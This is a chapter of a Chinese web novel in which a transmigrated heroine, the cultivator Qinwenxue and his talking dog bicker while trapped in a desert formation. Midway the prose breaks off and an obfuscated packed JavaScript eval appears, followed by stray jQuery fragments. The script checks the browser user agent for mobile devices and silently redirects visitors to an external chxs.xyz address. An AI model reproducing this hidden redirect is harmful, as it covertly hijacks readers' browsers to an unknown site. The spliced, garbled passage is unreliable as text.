32. 衾问雪也会开玩笑吗

作品:《穿进挖坑不填的玛丽苏文后

    “那就好。”明疏问:“那我们接下来要干嘛?”


    “等她醒来。”衾问雪右手一直没从时闻折身上拿开,浑厚的法力输送进对方的身体里,温养着丹田。


    明疏跃跃欲试:“我跳下去踩她的肚子,她肯定能醒。”


    衾问雪没有接话,只是摸了摸小狗的脑袋。


    小狗舒服地哼哼出声,他全身都软了下来,听到衾问责舒缓的嗓音响起:“你也睡会吧。”“累了。”


    明疏打了个哈欠,倔强道:“我不累尊上。明疏陪你。”


    “嗯。”


    “你累吗?”明疏问。


    “不累。”


    “可你受了好多伤,寒毒突然发作,戾气也控制不住……”明疏狗狗眼水汪汪的:“尊上,为什么会这么突然?”


    “没事。”


    “骗狗,我感知到了,你昏迷的时候,差点被心魔所控。”


    “它控不住我。”衾问雪淡淡道。


    明疏不再问了,他知道衾问雪的脾性,不想说的怎么都逼不出来,不过……它按了按额头心想:“还好识海和他相连,作为尊上的狗狗!那当然是有难同当了!”


    他一下就看开了,又哈着舌头上去蹭蹭蹭。虽然这几日曲折离奇,但明疏已经很久没有和尊上单独相处了,氛围还那么和谐舒心,他很快乐。


    “尊上,我们什么时候能出去?”他问,如果能早点出去就好了,这个地方不好,他一醒来就觉得毛骨悚然的,呆久了怕是有大事发生,他叹了一口气,里面有说不出的惆怅。


    “我们在阵法里,布置这个阵法的人很厉害,阵眼隐蔽,再等等吧。”


    明疏:“等什么尊上?”


    衾问雪眼角低垂着,淡漠地说着:“是有所求还是有所恩怨,总是会露出马脚的。”


    “好吧。”小狗恹恹的:“尊上你还冷不冷?寒毒算是捱过去了吗?”


    “尊上?”明疏疑惑,怎么又不说话了,真是闷。


    “睡吧。”他只听那人柔声道,然后就失去了意识。


    “天……脑袋好痛。”时闻折晃了晃头,觉得自己被绑在了云霄飞车上晃了几圈,明显很恶心,恶心完了,还被大铁锤给砸懵了一样,整个人都晕晕乎乎,不知东南西北。她捏了捏自己的脸,打算让自己清醒清醒。


    可是手臂一抬起来,大脑接收到了来自全身酸爽的信号,她□□虽在,灵魂却已经离家出走。


    时闻折发出痛苦的呻吟,明疏见那人,一会缩成一个球,抱着腿哭一哭,一会变成一只趴着的大王八,姿势挺标准的,一会又变成扭曲的蛇,七拐八拐,做完之后她还可劲地嚎叫了几声,还挺搞笑的。


    于是他也就笑出了声来。


    时闻折从自我世界里抬起头来,发现天塌了,今天又是丢脸的一天。


    衾问雪身姿挺拔,站在那像一棵怎么压都压不弯的青松,大漠的风沙真的很大,时闻折看花了眼,但她仍旧觉得站立在远处的衾问雪浑身都发着光。


    当然,如果那只嘲笑的小白狗,离他远一点就更好了,那狗死皮赖脸端坐在衾问雪脚边,笑得见牙不见眼,时闻折看着白花花的门牙就来气。


    “再笑。”她弯曲手指恐吓道。


    “汪汪汪!”小白狗不甘示弱:“尊上!时闻折醒了,不过看起来还是傻了吧唧的。”


    衾问雪看了过来,时闻折感觉全身上下都被X射线扫过一遍似的,浑身麻麻的,她也不知道自己到底在紧张些什么,不过还是在对方古井无波的眸子下,紧了紧身上的衣服,最后扭扭捏捏地走上前,不好意思道:“这衣服吧……”她拢了拢披风:“就是太破了,哈哈,不过还好披风能遮一遮。”


    说完后她就怔怔地看着衾问雪,神情里有着紧张和关切,衾问雪对对方异样的眼神并没有什么表示,他不阻止对方的打量,但也没有附和,时闻折从对方淡漠的眼神里抽离出来,声音滞涩道:“你好些了吗?我……”她顿了顿,似是不知道该怎么开口,但是衾问雪脸上的神情并没有厌烦,所以她又继续道:“我好像昏迷之前,把戾气给消散了,你还有没有哪里难受?”


    “没有。”衾问雪道:“谢谢。”


    那声谢谢很轻,但时闻折听到了,所以她很开心。


    “那就好。”她的声音里还有些后怕,其实她还想问的,想问为什么那些漫天戾气会从你的身体里冒出来,还想问为什么你要杀我呢?


    她知道,那些冰棱就是来取她性命的。


    “不过……”时闻折看着面色苍白衾问雪,突然不想知道答案了,他看起来像个瓷娃娃,易碎又易折。


    “就这样也挺好的。”反正不管对方还会不会被戾气所控,她都能解。


    她愿意当做他的解药。


    时闻折眼睛亮亮的,像一汪宁静而祥和的水潭,世人不论以什么样的眼神望着她,她都温和的接纳并反馈。


    衾问雪眼神闪烁了下。


    “???”明疏皱着小狗眼不解,两人的氛围实在是太奇怪了,它舔了舔爪子,嘀嘀咕咕道:“为什么感觉毛毛的,我毛毛也没炸啊。”


    时闻折看着小狗崽笑了笑,很自来熟地抱起了对方:“姐姐抱抱。”


    明疏夹紧尾巴,看着时闻折犹如面临强敌,十分警惕。


    它向衾问雪投去了求救的眼神,不过现在的尊上不是他一条狗的尊上了,时闻折这个狗东西,居然还抢走了尊上对他的注意力!可恶!狗忍不下这口气。


    它对着时闻折吸了呲牙,但却被对方反手一个捏紧下颌,明疏惨败。


    “我以前都不知道,你还养了一条这么可爱的狗。”她说道,其实她不知道也很正常,因为他们本来就没多了解,但是时闻折不假思索地说出这句话,好似他们认识了很久。


    是无话不说的老朋友。


    衾问雪抬起手也摸了摸小狗,手背立马被舔得湿漉漉的。


    “怎么不舔我啊?不喜欢我?”时闻折捏了捏小狗的尾巴。


    明疏晃不动尾巴,又冲她呲了呲牙。


    时闻折余光看见衾问雪脖颈处伸出一截白色的里衣,这才注意到对方今日的衣裳也只是随意的拢了拢,“不板正了”时闻折心想:“但是这种随意的穿衣方式还挺撩人。”此刻的衾问雪像是祸国殃民的妖妃。


    “桃花谷是不是没有人类,我想找个人家。”


    对方似乎有些不理解,眸子里有些疑惑。


    时闻折心脏漏跳了一拍,今日的他反常的情绪外显,她从衾问雪迷蒙的眼神里看到了属于他的鲜活的气息,那令她


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14871645|157388||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    很着迷。


    她忍不住激动地想:“这么久了,终于看见他除了冷脸之外的表情,自己这话痨的性格也是有好处的。”


    嘴角那抹上扬的弧度始终没下去,她没再说话,靠近对方,理了理稍显凌乱的衣领,她这时才发现,衾问雪的红衣上血迹斑斑,血腥味还残留在上面,盖住了浅淡的冷香,时闻折有些懊恼。


    “对不起,把你衣服弄脏了。”她道,像一只可怜的小猫。


    衾问雪浅浅扫了对方一眼,看到时闻折眉眼都萎靡了下去,他轻声道:“没事,但你……在装可怜吗?”


    时闻折:“……”“啊这,这么快就暴露了?”


    她讪笑两声以此缓和气氛,但是嘴角那抹笑容细看还是有些僵硬。


    衾问雪缓和语气回道:“不碍事。”


    “嗷。”也是,要是在意的话,自己可能都被对方大卸八块了,也不可能好好的睡到现在。


    昨日太过险峻,她现在才有闲心四处望了望,这大漠一望无际,黄沙漫天,能见度实在是很低,时闻折脖子有些酸,摸了摸后脑勺有些郁闷:“这是哪啊?”


    她瞟了眼衾问雪,示意自己在问他。


    “桃花谷。”


    “我记得我们昨天翻滚了几圈之后,突然出现在这里的……”她犹豫着提醒:“桃花谷不是山谷吗?虽然谷中也是人迹罕至,但至少鸟雀长鸣,这里……”她指了指天上,一点太阳都没有:“这里根本就是个荒漠。”


    时闻折担心:“衾问雪,这到底是什么地方?”


    衾问雪重复:“桃花谷。”


    “哎……这这这。”时闻折无奈:“我是问我们在桃花谷哪里?”


    衾问雪奇怪地瞟了她一眼:“桃花谷。”


    时闻折:“……”


    “跟你说话费劲。”


    衾问雪点点头表示知道。


    时闻折不想继续和他聊现在的话题,反正按照她话痨的性子,迟早有一天她会知道她在哪的。她扯了扯衾问雪衣袖:“我们接下来要做什么?也是在这等吗?”


    “你要等什么?”衾问雪打量她一番。


    “不是你要等吗?”时闻折反驳。


    “我没说要等。”


    时闻折气得跺脚:“你之前和我说明明要等,等老人家啊。”


    “我又没说现在还要等。”


    时闻折气绝。


    时闻折认输,她现在才发现衾问雪私下的性格,居然还挺活泼,不过就是很气人:“那我们现在干嘛。”


    衾问雪不知道想到了什么,嘴角弯了弯,他一字一顿慢悠悠道:“等。”


    时闻折:“……”


    时闻折白眼快要控制不住了,但看了看衾问雪风度翩翩的模样,还是忍了下来,“对方是个美人。”时闻折暗暗握拳:“我忍。”


    “这次等什么?”她问。


    预想中的反应没有发生,衾问雪终于给了时闻折一个正眼:“等下一次阵法易位,我们在逐渐靠近真相。”


    时闻折听不懂修行人专业术语。


    他抱起了小白狗,熟练地揣进了臂弯里,命令道:“走吧。”


    时闻折:“走去哪里?”


    “你不是说这里人烟罕至。”他道:“去找人烟。”